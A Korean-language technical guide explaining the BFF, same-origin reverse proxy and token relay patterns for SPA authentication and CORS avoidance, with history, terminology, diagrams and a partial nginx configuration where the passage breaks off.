TL;DR

  • BFF는 클라이언트 전용 백엔드로 API 집계·변환·보안 경계 역할을 담당한다.
  • Same-Origin Reverse Proxy는 CORS와 Preflight 오버헤드를 제거해 성능과 단순성을 높인다.
  • Token Relay는 HttpOnly 세션 쿠키를 Bearer 토큰으로 변환해 마이크로서비스에 안전하게 전달한다.

1. 개념

BFF(Backend For Frontend), Same-Origin Reverse Proxy, Token Relay는 SPA 환경에서 발생하는 인증·보안·성능 문제를 해결하는 핵심 패턴이다. 이 세 패턴은 서로 다른 계층(애플리케이션, 인프라, 인증)에 위치하지만 함께 사용할 때 가장 강력한 보안과 성능을 제공한다.

2. 배경

SPA와 마이크로서비스가 보편화되면서 브라우저가 여러 서비스에 직접 요청을 보내야 했고, 이는 CORS, 인증 분산, 토큰 보관 문제를 야기했다. BFF, Reverse Proxy, Token Relay는 이런 분산 환경에서 생긴 구조적 문제를 해결하기 위해 발전했다.

3. 이유

  • 프론트엔드가 직접 여러 서비스를 호출하면 과도한 CORS 설정과 Preflight 지연이 발생한다.
  • 브라우저에 토큰을 저장하면 XSS에 취약해진다.
  • 클라이언트별 최적화된 API가 필요하다.

4. 특징

  • BFF는 클라이언트 전용 API 집계와 데이터 변환을 제공한다.
  • Reverse Proxy는 단일 Origin을 제공해 CORS를 제거한다.
  • Token Relay는 서버 세션에 토큰을 저장하고 요청마다 Bearer로 릴레이한다.

5. 상세 내용

BFF, Same-Origin Reverse Proxy, Token Relay 완전 가이드

작성일: 2026-03-06 키워드: BFF, Backend For Frontend, Same-Origin Reverse Proxy, Token Relay, OAuth 2.0, OIDC, SPA, CORS, HttpOnly Cookie, Spring Cloud Gateway, Next.js


목차

  1. 개요: 세 패턴의 전체 그림
  2. 용어 사전: 어원과 약자 완전 해설
  3. 역사적 배경: 왜 이런 패턴들이 필요해졌는가
  4. BFF (Backend For Frontend) 심층 분석
  5. Same-Origin Reverse Proxy 심층 분석
  6. Token Relay Pattern 심층 분석
  7. 세 패턴의 통합 아키텍처
  8. 보안 심층 분석
  9. 최신 트렌드 (2025-2026)
  10. 참고 자료 및 출처

1. 개요: 세 패턴의 전체 그림

1.1 세 패턴이 무엇이고, 왜 함께 사용되는지

현대 웹 애플리케이션은 브라우저(Browser)라는 본질적으로 신뢰할 수 없는 실행 환경 위에서 동작한다. SPA(Single Page Application)가 대중화되면서, 프론트엔드와 백엔드가 물리적으로 분리되었고, 이 분리는 세 가지 근본적 문제를 만들어냈다:

문제 원인 해결 패턴
API 호출 복잡성 브라우저가 여러 마이크로서비스를 직접 호출 → CORS, 인증 분산 BFF (Backend For Frontend)
Cross-Origin 제약 프론트엔드와 API 서버의 Origin이 다름 → CORS Preflight 오버헤드 Same-Origin Reverse Proxy
토큰 보안 브라우저에 Access Token 저장 → XSS 탈취 위험 Token Relay

이 세 패턴은 독립적으로도 사용 가능하지만, 함께 사용할 때 가장 강력한 보안과 성능을 달성한다.

1.2 전체 아키텍처 다이어그램

┌─────────────────────────────────────────────────────────────────────┐
│                        Same Origin (예: app.example.com)            │
│                                                                     │
│  ┌──────────┐     ┌──────────────────────────────────────────────┐  │
│  │          │     │         Reverse Proxy (nginx/Caddy)          │  │
│  │  Browser │────▶│  ┌─────────────┐  ┌───────────────────────┐ │  │
│  │  (SPA)   │◀────│  │ 정적 파일    │  │ /api/* → BFF Server   │ │  │
│  │          │     │  │ (HTML/JS)   │  │                       │ │  │
│  └──────────┘     │  └─────────────┘  └───────────┬───────────┘ │  │
│   HttpOnly        └───────────────────────────────┼─────────────┘  │
│   Cookie 만                                        │                │
│   전송됨                                           ▼                │
│                               ┌──────────────────────────┐         │
│                               │     BFF Server           │         │
│                               │  ┌────────────────────┐  │         │
│                               │  │   Session Store     │  │         │
│                               │  │  (Access Token 보관)│  │         │
│                               │  └────────┬───────────┘  │         │
│                               │           │ Token Relay   │         │
│                               │           ▼              │         │
│                               │  Authorization: Bearer   │         │
│                               │  <access_token> 주입     │         │
│                               └──────────┬───────────────┘         │
└──────────────────────────────────────────┼─────────────────────────┘
                                           │
                          ┌────────────────┼────────────────┐
                          ▼                ▼                ▼
                   ┌───────────┐   ┌───────────┐   ┌───────────┐
                   │ Service A │   │ Service B │   │ Service C │
                   │ (Users)   │   │ (Orders)  │   │ (Products)│
                   └───────────┘   └───────────┘   └───────────┘

1.3 패턴 간 계층 관계 (포함 관계)

┌─────────────────────────────────────────────────┐
│            Same-Origin Reverse Proxy             │
│  (인프라 계층: CORS 제거, 단일 Origin 통합)       │
│                                                  │
│  ┌───────────────────────────────────────────┐   │
│  │         BFF (Backend For Frontend)         │   │
│  │  (애플리케이션 계층: API 집계, 변환, 보안)  │   │
│  │                                            │   │
│  │  ┌─────────────────────────────────────┐   │   │
│  │  │        Token Relay                  │   │   │
│  │  │  (인증 계층: 쿠키→토큰 변환/중계)    │   │   │
│  │  └─────────────────────────────────────┘   │   │
│  └───────────────────────────────────────────┘   │
└─────────────────────────────────────────────────┘
  • Same-Origin Reverse Proxy는 가장 바깥 계층으로, 네트워크 수준에서 모든 요청을 단일 Origin으로 통합한다.
  • BFF는 그 안에서 애플리케이션 로직을 처리하며, API 집계(Aggregation), 데이터 변환(Transformation), 보안 경계(Security Boundary) 역할을 한다.
  • Token Relay는 BFF 내부의 인증 메커니즘으로, 세션 쿠키를 Bearer Token으로 변환하여 하위 마이크로서비스에 전달한다.

2. 용어 사전: 어원과 약자 완전 해설

2.1 BFF (Backend For Frontend)

약자 풀이:

  • Backend: 사용자에게 보이지 않는 서버 측 시스템
  • For: ~을 위한 (목적/전용)
  • Frontend: 사용자가 직접 상호작용하는 클라이언트 측 인터페이스

왜 이 이름인가: 전통적으로 백엔드 API는 모든 클라이언트를 범용으로 지원했다. BFF는 이 관행을 뒤집어, “이 백엔드는 오직 이 프론트엔드만을 위해 존재한다”는 1:1 전용 관계를 이름에 담았다. “Best Friends Forever”와 약자가 같은 것은 우연이지만, 프론트엔드와 백엔드의 밀착 관계를 연상시킨다.

2.2 Proxy와 Reverse Proxy

Proxy의 어원:

라틴어 procuratio (대리 행위, 관리)
  → 중세 라틴어 procuratia
    → 앵글로-프랑스어 procuracie
      → 중세 영어 proxie (15세기)
        → 현대 영어 proxy

핵심 의미: “다른 누군가를 대신하여 행동하는 주체(agency of one who acts as a substitute)”

Forward Proxy vs Reverse Proxy:

Forward Proxy (정방향 프록시):
  클라이언트 → [Proxy] → 인터넷 → 서버
  ※ 클라이언트를 대리. 서버는 프록시만 봄.
  ※ 예: 기업 방화벽, VPN, 익명화

Reverse Proxy (역방향 프록시):
  클라이언트 → 인터넷 → [Proxy] → 서버
  ※ 서버를 대리. 클라이언트는 프록시만 봄.
  ※ 예: nginx, Caddy, AWS ALB

왜 “Reverse”인가: Forward Proxy가 클라이언트 앞(client-side)에서 아웃바운드 요청을 대리하는 것이 원래(정방향)라면, Reverse Proxy는 서버 앞(server-side)에서 인바운드 요청을 대리한다. 프록시의 위치와 방향이 정반대(reverse)이기 때문이다. 클라이언트 입장에서는 실제 서버의 존재가 “역전(reverse)”되어 보인다.

2.3 Same-Origin Policy (SOP, 동일 출처 정책)

Origin의 정의: scheme + host + port 의 조합

https://app.example.com:443/path?query=1
└─┬──┘  └──────┬───────┘└┬─┘
scheme       host       port

동일 Origin 예시:
  https://app.example.com/page1  ← 동일
  https://app.example.com/page2  ← 동일

다른 Origin 예시:
  http://app.example.com   ← scheme 다름 (http vs https)
  https://api.example.com  ← host 다름 (app vs api)
  https://app.example.com:8080 ← port 다름

역사: 1995년 Netscape Navigator 2.02에서 JavaScript와 함께 최초 도입. Netscape의 보안 엔지니어들이 다른 웹사이트의 데이터를 JavaScript로 무단 접근하는 것을 방지하기 위해 만들었다. 당시 새로운 언어인 JavaScript가 브라우저에서 임의 코드를 실행할 수 있었기에, 이 정책 없이는 악성 사이트가 사용자의 은행 사이트 데이터를 읽을 수 있었다.

2.4 CORS (Cross-Origin Resource Sharing, 교차 출처 리소스 공유)

약자 풀이:

  • Cross: 가로지르는, 교차하는
  • Origin: 출처 (scheme + host + port)
  • Resource: 리소스 (API 엔드포인트, 이미지 등)
  • Sharing: 공유

역사: 2004년 Tellme Networks의 Matt Oshry, Brad Porter, Michael Bodell이 VoiceXML 브라우저를 위해 최초 제안. 2006년 W3C Working Draft, 2014년 1월 W3C Recommendation(정식 표준)으로 승격.

Preflight 요청 메커니즘:

1. 브라우저: "이 Cross-Origin 요청 보내도 될까?"
   OPTIONS /api/users HTTP/1.1
   Origin: https://app.example.com
   Access-Control-Request-Method: POST
   Access-Control-Request-Headers: Content-Type, Authorization

2. 서버: "이 Origin에서 이 메서드/헤더는 허용함"
   HTTP/1.1 204 No Content
   Access-Control-Allow-Origin: https://app.example.com
   Access-Control-Allow-Methods: GET, POST, PUT
   Access-Control-Allow-Headers: Content-Type, Authorization
   Access-Control-Max-Age: 86400

3. 브라우저: 실제 요청 전송
   POST /api/users HTTP/1.1
   Origin: https://app.example.com
   Content-Type: application/json
   Authorization: Bearer <token>

문제점: 모든 “비단순(non-simple)” 요청마다 Preflight가 발생하여 왕복 레이턴시가 2배가 된다. 마이크로서비스가 N개면 N개 서비스 모두에 CORS 설정을 해야 하는 “설정 폭발(configuration explosion)” 문제도 생긴다.

2.5 Token과 Bearer Token

Token의 어원:

고대 영어 tācen (표시, 증거, 상징)
  → 중세 영어 token
    → 현대 영어 token

원래 의미: 무언가를 증명하는 표시물. 지하철 토큰, 게임 토큰처럼 “이것을 가지고 있으면 특정 권한이 있음”을 나타낸다. IT에서는 신원(identity)이나 권한(authorization)을 나타내는 불투명 문자열을 의미한다.

Bearer Token (무기명 토큰): RFC 6750에서 정의.

  • Bearer: “소지자, 지참인” - 이 토큰을 가진(bear) 자는 누구든 해당 권한을 행사할 수 있다.
  • 암호키 증명(proof of possession)이 불필요하다. 현금(cash)과 동일한 원리 - 지갑에서 훔쳐가면 도둑이 사용 가능.
  • 그래서 Bearer Token은 반드시 HTTPS로만 전송, 안전한 저장소에 보관해야 한다.

보안 위협: Bearer Token이 탈취되면 공격자가 사용자처럼 행동할 수 있다. 이것이 브라우저(JavaScript 실행 환경)에 토큰을 저장하면 안 되는 근본적 이유이며, Token Relay 패턴이 필요한 이유이다.

2.6 Relay (릴레이)

어원: 프랑스어 relais (역참, 말 교체소).

중세 프랑스: 장거리 여행 시 역참(relais)에서 지친 말을 신선한 말로 교체.
  → 영어 relay: 구간마다 교체하며 이어가는 행위
    → relay race: 이어달리기 (바톤 교체)

Token Relay = 인증 수단을 구간마다 적합한 형태로 교체/중계:

구간 1: Browser → BFF        : HttpOnly Session Cookie (쿠키)
         ──── [릴레이 지점: BFF 서버] ────
구간 2: BFF → Microservice   : Authorization: Bearer <token> (토큰)

쿠키라는 “지친 말”을 Bearer Token이라는 “신선한 말”로 교체하여, 각 구간에 가장 적합한 인증 수단으로 요청을 이어간다.

2.7 OAuth (Open Authorization, 개방형 인가)

왜 “Open”인가: 특정 기업의 독점 프로토콜이 아닌, 누구나 구현할 수 있는 개방형(open) 표준이라는 의미.

역사: 2006년 11월, Twitter의 Blaine Cook이 OpenID 구현 중 위임 인가(delegated authorization) 표준이 없음을 발견. Google의 Chris Messina와 협력하여 2007년 OAuth 1.0 초안 작성. 2012년 10월 RFC 6749로 OAuth 2.0 표준화.

Valet Key 비유: OAuth는 호텔 발렛 키(valet key)와 같다.

- 자동차 마스터 키 = 사용자의 비밀번호 (모든 권한)
- 발렛 키 = OAuth Access Token (주차만 가능, 트렁크 열기 불가)
- 발렛 파킹 직원 = 제3자 애플리케이션
- 자동차 주인 = 리소스 소유자 (사용자)

사용자가 제3자 앱에 비밀번호를 직접 주지 않고, 제한된 권한(scope)만 위임할 수 있게 해준다.

2.8 JWT (JSON Web Token)

약자 풀이:

  • JSON: JavaScript Object Notation - 경량 데이터 교환 형식
  • Web: 웹 환경에서 사용
  • Token: 인증/인가 증표

발음: “jot” (줏)으로 읽는다. RFC 7519 (2015)에서 표준화.

구조: Header.Payload.Signature

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.    ← Header (Base64URL)
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik    ← Payload (Base64URL)
pvaG4gRG9lIiwiYWRtaW4iOnRydWV9.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQ   ← Signature
ssw5c

Header:  {"alg": "RS256", "typ": "JWT"}
Payload: {"sub": "1234567890", "name": "John Doe", "exp": 1700000000}
Signature: RSASHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), privateKey)

2.9 OIDC (OpenID Connect)

OpenID의 역사: 2005년 Brad Fitzpatrick(LiveJournal 창시자)이 “하나의 URL로 어디서든 로그인”이라는 아이디어로 OpenID 1.0 개발. 그러나 초기 버전은 사용성이 낮아 대중화에 실패.

OIDC (2014): OAuth 2.0 위에 구축된 인증(Authentication) 레이어.

OAuth 2.0 = 인가(Authorization) - "무엇을 할 수 있는가?"
    +
OIDC      = 인증(Authentication) - "누구인가?"
    =
완전한 ID + 권한 시스템

OAuth 2.0은 원래 인가만을 위한 프로토콜이었다. “이 사용자가 누구인지”를 표준적으로 알려주는 방법이 없었다. OIDC는 ID Token(JWT 형식)과 /userinfo 엔드포인트를 추가하여 이 간극을 메웠다.

2.10 SPA (Single Page Application, 단일 페이지 애플리케이션)

왜 “Single Page”인가: 전통적 웹사이트는 페이지 이동마다 서버에서 새 HTML을 받았다(Multi-Page Application). SPA는 최초 1회만 HTML을 로드하고, 이후 모든 화면 전환은 JavaScript가 DOM을 동적으로 조작하여 처리한다. 브라우저 주소표시줄의 URL은 바뀌지만, 실제로는 하나의(single) 페이지(page) 위에서 모든 것이 일어난다.

역사: 2002년 Stuart Morris의 특허에서 “Single Page Application”이라는 용어가 최초 사용. 그러나 대중화는 2010년 AngularJS, 2013년 React 등장 이후.

2.11 SSR (Server-Side Rendering, 서버 측 렌더링)

레트로님(Retronym) 현상: SSR은 원래 “기본 방식”이었다. PHP, JSP, ASP 시절에는 모든 렌더링이 서버에서 이루어졌으므로 별도 이름이 필요 없었다. CSR(Client-Side Rendering)이 등장한 후에야, 기존 방식을 구분하기 위해 “SSR”이라는 이름이 소급 적용되었다.

레트로님 예시:
  "어쿠스틱 기타" ← 일렉트릭 기타 등장 후 생긴 이름
  "아날로그 시계" ← 디지털 시계 등장 후 생긴 이름
  "SSR"          ← CSR/SPA 등장 후 생긴 이름

2.12 쿠키 관련 용어

HttpOnly: IE6 SP1(2002)에서 Microsoft가 최초 도입. document.cookie로 JavaScript에서 접근 불가. “HTTP(S) 프로토콜을 통해서만(only) 접근 가능”이라는 의미.

Set-Cookie: session=abc123; HttpOnly

→ XSS 공격으로 document.cookie를 읽어도 이 쿠키는 보이지 않음.

Secure: HTTPS 연결에서만 쿠키를 전송. HTTP(평문) 연결에서는 전송하지 않음.

Set-Cookie: session=abc123; Secure

SameSite: 크로스 사이트 요청에서 쿠키 전송 여부를 제어. | 값 | 동작 | 용도 | |—-|——|——| | Strict | 동일 사이트 요청에서만 전송 | 최고 보안 (은행 등) | | Lax (기본값) | 동일 사이트 + 최상위 GET 내비게이션에서 전송 | 일반적 사용 | | None | 모든 크로스 사이트 요청에서 전송 (Secure 필수) | 제3자 통합 |

__Host- 접두사: 쿠키 이름 앞에 __Host-를 붙이면 브라우저가 추가 보안을 강제한다.

Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Lax
  • 반드시 Secure 플래그 필요
  • 반드시 Path=/ 필요
  • Domain 속성 설정 불가 → 서브도메인 탈취 공격(subdomain takeover) 방어

Session Cookie vs Persistent Cookie: | 구분 | Session Cookie | Persistent Cookie | |——|—————|——————-| | Expires/Max-Age | 없음 | 있음 | | 수명 | 브라우저 닫으면 삭제 | 지정된 기간까지 유지 | | 용도 | 로그인 세션 | “로그인 유지”, 환경설정 |


3. 역사적 배경: 왜 이런 패턴들이 필요해졌는가

3.1 1990년대: 모놀리식 서버 렌더링

┌──────────┐     ┌────────────────────────┐
│  Browser  │────▶│  Monolithic Server      │
│           │◀────│  (PHP/JSP/ASP)          │
│  HTML만   │     │  ┌──────┐ ┌─────────┐  │
│  수신     │     │  │ View │ │ Logic   │  │
│           │     │  │ (템플릿)│ │(비즈니스)│  │
└──────────┘     │  └──────┘ └─────────┘  │
                  │  ┌──────────────────┐   │
                  │  │   Database       │   │
                  │  └──────────────────┘   │
                  └────────────────────────┘
  • CGI(1993), PHP(1995), ASP(1996), JSP(1999): 모든 렌더링이 서버에서 이루어짐
  • 프론트엔드/백엔드 분리 개념 자체가 없었음
  • 브라우저는 완성된 HTML을 받아 표시하기만 함
  • SOP 문제 발생 여지 없음: 모든 리소스가 같은 서버에서 제공되므로 Cross-Origin 상황 자체가 드물었음
  • 세션 관리: 서버 세션 + 쿠키 (같은 Origin이므로 문제 없음)

3.2 2000년대: AJAX와 점진적 분리

2004년: Gmail의 AJAX 혁명. Google Gmail이 XMLHttpRequest를 활용하여 페이지 전체를 새로고침하지 않고 이메일을 로드하는 방식을 대중화. “AJAX(Asynchronous JavaScript and XML)”라는 용어는 2005년 Jesse James Garrett이 명명.

2006년: jQuery의 AJAX 단순화.

// jQuery 이전: XMLHttpRequest 직접 사용 (장황한 코드)
var xhr = new XMLHttpRequest();
xhr.open('GET', '/api/data');
xhr.onreadystatechange = function() { ... };
xhr.send();

// jQuery 이후: 한 줄로 단순화
$.get('/api/data', function(data) { ... });

REST API 대중화: Twitter(2006), Facebook(2007)이 공개 REST API를 제공하면서, “서버가 HTML이 아닌 JSON 데이터를 반환한다”는 패러다임이 확산.

JSONP의 등장과 한계: SOP를 우회하기 위해 <script> 태그를 악용하는 JSONP(JSON with Padding) 등장. 그러나 GET만 가능, XSS 취약, 에러 처리 불가 등 근본적 한계.

// JSONP: <script> 태그는 SOP 적용받지 않는 점을 악용
// 서버가 callback({"data": "value"}) 형태로 응답

3.3 2010-2013: SPA 프레임워크의 등장

AngularJS (2010, Google): 최초의 대중적 SPA 프레임워크. 양방향 데이터 바인딩으로 프론트엔드 개발 패러다임 전환.

React (2013, Facebook): 가상 DOM, 컴포넌트 기반 아키텍처로 SPA를 더욱 대중화.

프론트/백엔드 완전 분리:

이전: example.com → 서버가 HTML 렌더링
이후: app.example.com (SPA) ←→ api.example.com (REST API)
      └─ Origin 1 ──┘          └─── Origin 2 ────┘
                    └── Cross-Origin! ──┘

CORS 문제 본격화: SPA와 API 서버의 Origin이 다르므로, 모든 API 호출에 CORS Preflight가 필요.

토큰 보관 딜레마 시작: SPA가 직접 OAuth 토큰을 받아 저장해야 했는데, localStorage는 XSS에 취약하고, sessionStorage는 탭 간 공유 불가. 안전한 저장소가 없었다.

3.4 2014-2016: 마이크로서비스와 BFF 정립

2014년: Martin Fowler의 마이크로서비스 대중화. “Microservices” 글에서 마이크로서비스 아키텍처를 체계적으로 정리. 모놀리스를 작은 독립 서비스로 분해하는 추세 가속화.

2015년 9월 18일: Phil Calçado - SoundCloud BFF 최초 문서화.

SoundCloud의 진화:
  1. Rails 모놀리스로 시작
  2. 공개 API를 내부에서도 사용 (eat-your-own-dog-food)
  3. 문제: 플랫폼별 최적화 불가 (iOS에 최적화하면 Android가 불편)
  4. 해결: 플랫폼별 전용 BFF 도입
  5. 현재: 수십 개 BFF, 수백만 req/hour 처리

2015년 11월 23일: Sam Newman - BFF 패턴 체계화. ThoughtWorks 컨설턴트이자 “Building Microservices” 저자인 Sam Newman이 BFF를 마이크로서비스 아키텍처 패턴으로 체계화.

다중 클라이언트 문제:

문제: 하나의 범용 API로 모든 클라이언트 지원

┌──────────┐     ┌─────────────┐     ┌──────────┐
│  iOS App  │────▶│             │     │ Service A│
│ (간단한   │     │  범용 API    │────▶│          │
│  목록만)  │     │  Gateway    │     │ Service B│
├──────────┤     │             │     │          │
│  Web App  │────▶│  Over-fetch │     │ Service C│
│ (상세한   │     │  for iOS    │     │          │
│  대시보드)│     │  Under-fetch│     └──────────┘
└──────────┘     │  for Web    │
                  └─────────────┘

해결: 클라이언트별 전용 BFF

┌──────────┐     ┌──────────┐
│  iOS App  │────▶│ iOS BFF   │──┐
└──────────┘     └──────────┘  │   ┌──────────┐
                                ├──▶│ Services │
┌──────────┐     ┌──────────┐  │   └──────────┘
│  Web App  │────▶│ Web BFF   │──┘
└──────────┘     └──────────┘

3.5 2017-2020: OAuth 2.0/OIDC + Token Relay

Implicit Flow의 보안 문제와 deprecated (2018): OAuth 2.0 Implicit Flow는 Access Token을 URL 프래그먼트(#token=...)로 브라우저에 직접 전달. 브라우저 히스토리, Referer 헤더를 통한 토큰 유출 위험. 2018년 OAuth 2.0 Security Best Current Practice에서 공식 deprecated.

BFF + Authorization Code Flow + PKCE 조합: Implicit Flow 대신, BFF가 Confidential Client로서 Authorization Code Flow를 수행하고, PKCE(Proof Key for Code Exchange)로 인가 코드 가로채기를 방지하는 조합이 표준이 됨.

2018 이전 (위험):
  Browser → IdP → Browser (토큰이 URL에 노출!)

2018 이후 (안전):
  Browser → BFF → IdP → BFF (토큰은 BFF 서버에만 존재)
                         ↓
                   서버 세션에 저장
                         ↓
                   Browser에는 HttpOnly 쿠키만

Spring Cloud Gateway TokenRelay 필터 (2019): Spring Cloud Greenwich 릴리스에서 TokenRelay 게이트웨이 필터 공식 도입. BFF/게이트웨이에서 Token Relay를 선언적으로 처리할 수 있게 됨.

3.6 2021-2026: SSR 회귀와 프레임워크 내재화

SSR의 귀환: Next.js(Vercel), Remix(Shopify), Nuxt(Vue), SvelteKit 등 풀스택 프레임워크가 SSR을 다시 기본으로 채택. “SPA → SSR 회귀”라기보다는, SPA의 장점과 SSR의 장점을 결합한 하이브리드.

BFF가 프레임워크 안으로 흡수됨:

2015년: 별도 BFF 서버 (Node.js Express, Spring Boot)
2023년: 프레임워크가 BFF 역할을 내재화

Next.js App Router:
  - Server Components = 서버에서 데이터 fetching (BFF의 집계 역할)
  - Server Actions = 서버에서 mutation 처리 (BFF의 변환 역할)
  - Route Handlers = API 엔드포인트 (BFF의 프록시 역할)
  - Middleware = 인증 검증 (BFF의 보안 경계 역할)

React Server Components의 BFF 역할: RSC는 서버에서 실행되면서 데이터를 직접 fetching하고, 결과를 직렬화하여 클라이언트에 전달한다. 이는 BFF의 핵심 기능(집계, 변환, 보안 경계)을 컴포넌트 수준에서 수행하는 것이다.


4. BFF (Backend For Frontend) 심층 분석

4.1 패턴 정의와 핵심 원칙

정의: “하나의 사용자 경험(user experience)당 하나의 백엔드(backend)”

범용 API의 문제점:

  • Over-fetching: 모바일 앱에는 3개 필드만 필요한데, API가 20개 필드 반환
  • Under-fetching: 웹 대시보드는 5개 서비스 데이터 필요한데, 5번 API 호출 필요
  • 결합도 증가: API 변경 시 모든 클라이언트에 영향
  • 인증 복잡성: 각 마이크로서비스마다 인증 로직 중복

BFF의 6가지 역할:

역할 설명 예시
집계 (Aggregation) 여러 마이크로서비스 응답을 하나로 합침 사용자 프로필 + 주문 목록 + 추천 상품 → 단일 응답
변환 (Transformation) 클라이언트에 최적화된 형태로 데이터 가공 모바일: 썸네일 URL만, 웹: 풀사이즈 이미지 + 메타데이터
프로토콜 변환 (Protocol Translation) 내부 프로토콜을 클라이언트 친화적으로 변환 gRPC → REST/JSON, GraphQL → REST
인증/인가 (Authentication/Authorization) 보안 경계 역할, 토큰 관리 Session Cookie ↔ Bearer Token 변환
캐싱 (Caching) 클라이언트별 최적화된 캐싱 전략 모바일: 공격적 캐싱, 웹: 실시간
보안 경계 (Security Boundary) 내부 서비스 구조 은닉, API 키 보호 서드파티 API 키가 브라우저에 노출되지 않음

4.2 BFF vs API Gateway

비교 항목 API Gateway BFF
범위 모든 클라이언트의 단일 진입점 특정 클라이언트 전용
소유권 플랫폼/인프라 팀 프론트엔드/기능 팀
로직 수준 라우팅, 인증, rate limiting (인프라) 데이터 집계, 변환 (비즈니스)
개수 보통 1개 (또는 리전별) 클라이언트 유형별 1개
배포 독립적, 느린 변경 주기 프론트엔드와 함께 빠른 배포
커플링 모든 클라이언트와 느슨한 결합 담당 클라이언트와 밀착 결합
구현 예시 Kong, AWS API Gateway, Envoy Next.js Route Handler, Express 앱
함께 사용 BFF 앞에 API Gateway 배치 가능 API Gateway 뒤에서 동작 가능
실제 아키텍처에서는 함께 사용:

Browser → API Gateway (인증, rate limit, 로깅)
           → Web BFF (웹 전용 집계/변환)
               → Service A, B, C
           → Mobile BFF (모바일 전용 집계/변환)
               → Service A, B, D

4.3 기업 도입 사례

SoundCloud (최초 구현):

  • Phil Calçado 주도, 2013년경 실무 도입
  • Rails 모놀리스 → 공개 API eat-your-own-dog-food → BFF 전환
  • 현재 수십 개 BFF, 수백만 req/hour 처리
  • 각 BFF는 담당 클라이언트 팀이 소유/운영

Netflix (플랫폼별 BFF):

  • 수백 개 디바이스 유형 (TV, 모바일, 웹, 게임 콘솔)
  • 플랫폼별 BFF로 각 디바이스에 최적화된 API 제공
  • Android BFF를 Groovy에서 Node.js로 마이그레이션한 사례 공개
  • “Seamlessly Swapping the API Backend” 블로그에서 과정 문서화

Spotify (모바일/웹 BFF):

  • 모바일 앱과 웹 플레이어에 서로 다른 BFF 운영
  • 각 BFF가 추천 엔진, 검색, 재생 목록 서비스를 클라이언트에 맞게 집계

REA Group (호주 부동산 포털):

  • Sam Newman이 컨설팅하며 BFF 패턴 적용
  • 매물 검색, 상세 정보, 사용자 프로필을 클라이언트별로 집계

4.4 BFF의 현대적 진화

Next.js App Router (React Server Components + Server Actions + Route Handlers):

app/
├── page.tsx              ← Server Component (SSR + 데이터 fetching = BFF 집계)
├── actions.ts            ← Server Actions (서버 mutation = BFF 변환)
├── api/
│   └── proxy/
│       └── [...path]/
│           └── route.ts  ← Route Handler (API 프록시 = Token Relay)
└── middleware.ts          ← Middleware (인증 검증 = BFF 보안 경계)

Nuxt.js (server/api/):

server/
├── api/
│   ├── users.get.ts      ← 서버 API 라우트 (BFF 엔드포인트)
│   └── orders.post.ts
└── middleware/
    └── auth.ts            ← 서버 미들웨어 (인증)

SvelteKit (+page.server.ts):

src/routes/
├── +page.server.ts        ← 서버 로드 함수 (BFF 데이터 fetching)
├── +page.svelte           ← 클라이언트 컴포넌트
└── api/
    └── proxy/
        └── +server.ts     ← API 엔드포인트 (Token Relay)

별도 BFF 서버를 구축하지 않아도, 프레임워크의 서버 측 기능이 BFF 역할을 완전히 대체한다.


5. Same-Origin Reverse Proxy 심층 분석

5.1 왜 필요한가: CORS의 복잡성

Preflight 비용 (2x 레이턴시):

Cross-Origin 요청 (CORS):
  시간 ─────────────────────────────────────────▶

  Browser ──OPTIONS──▶ API Server    (Preflight)
  Browser ◀──204────── API Server    (~50ms)
  Browser ──POST────▶ API Server    (실제 요청)
  Browser ◀──200────── API Server    (~50ms)
                                     총: ~100ms

Same-Origin 요청 (프록시 경유):
  Browser ──POST────▶ Proxy ──▶ API  (직접 요청)
  Browser ◀──200────── Proxy ◀── API
                                     총: ~50ms (50% 감소!)

와일드카드의 함정: Access-Control-Allow-Origin: *를 사용하면 간단하지만, 자격 증명(credentials: cookies, Authorization 헤더)을 포함한 요청에는 와일드카드 사용 불가. 실제 서비스에서는 거의 항상 인증이 필요하므로 와일드카드는 무용지물.

마이크로서비스 설정 폭발: 마이크로서비스가 N개일 때, 각 서비스마다 CORS 설정을 해야 함. 새 프론트엔드 도메인 추가 시 N개 서비스 모두 업데이트 필요.

서비스 10개 × 허용 Origin 3개 = CORS 설정 30곳 관리
  → 하나라도 빠지면 프론트엔드 장애
  → Same-Origin Proxy: 설정 0곳 (CORS 자체가 불필요)

5.2 동작 원리

nginx 같은 리버스 프록시가 정적 파일(SPA)과 API 프록시를 단일 Origin으로 통합한다.

┌──────────────────────────────────────────────────────────┐
│                  app.example.com (단일 Origin)            │
│                                                          │
│  ┌─────────────────────────────────────────────────────┐ │
│  │              nginx Reverse Proxy                     │ │
│  │                                                      │ │
│  │  GET /index.html  ──▶ /usr/share/nginx/html/        │ │
│  │  GET /assets/*    ──▶ /usr/share/nginx/html/assets/ │ │
│  │  GET /api/users   ──▶ http://user-service:8080/     │ │
│  │  POST /api/orders ──▶ http://order-service:8081/    │ │
│  │  GET /api/products──▶ http://product-service:8082/  │ │
│  └─────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────┘

Browser 입장:
  - /index.html → app.example.com (Same Origin ✓)
  - /api/users  → app.example.com (Same Origin ✓)
  → CORS 불필요! Preflight 불필요! 쿠키 자동 전송!

5.3 해결하는 문제들

문제 CORS 방식 Same-Origin Proxy 방식
Cross-Origin 제약 CORS 헤더 설정 필요 완전 제거 (Same-Origin)
Preflight 오버헤드 매 요청마다 OPTIONS 완전 제거 (Simple Request로 처리)
쿠키 전송 credentials: 'include' + 서버 설정 자동 전송 (Same-Origin)
SSL 인증서 서비스마다 각각 필요 단일 인증서 (프록시에서만)
보안 헤더 서비스마다 설정 중앙 관리 (프록시에서 일괄)
서비스 구조 노출 각 서비스 URL 노출 내부 구조 은닉

AWS 사례: AWS CloudFront 블로그에서 Same-Domain SPA + API 구성 시 레이턴시 약 50% 감소를 보고. Preflight 제거가 주요 원인.

5.4 실제 구현 예시

nginx.conf (상세 설정 + 주석)

# ── 업스트림 서버 정의 ──
upstream bff_server {
    server 127.0.0.1:3000;  # BFF 애플리케이션 서버
    keepalive 64;           # 커넥션 풀 유지
}

server {
    listen 443 ssl http2;
    server_name app.example.com;

    # ── SSL 설정 ──
    ssl_certificate     /etc/letsencrypt/live/app.example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/app.example.com/privkey.pem;
    ssl_protocols       TLSv1.2 TLSv1.3;

    # ── 보안 헤더 (중앙 관리) ──
    add_header X-Frame-Options DENY always;
    add_header X-Content-Type-Options nosniff always;
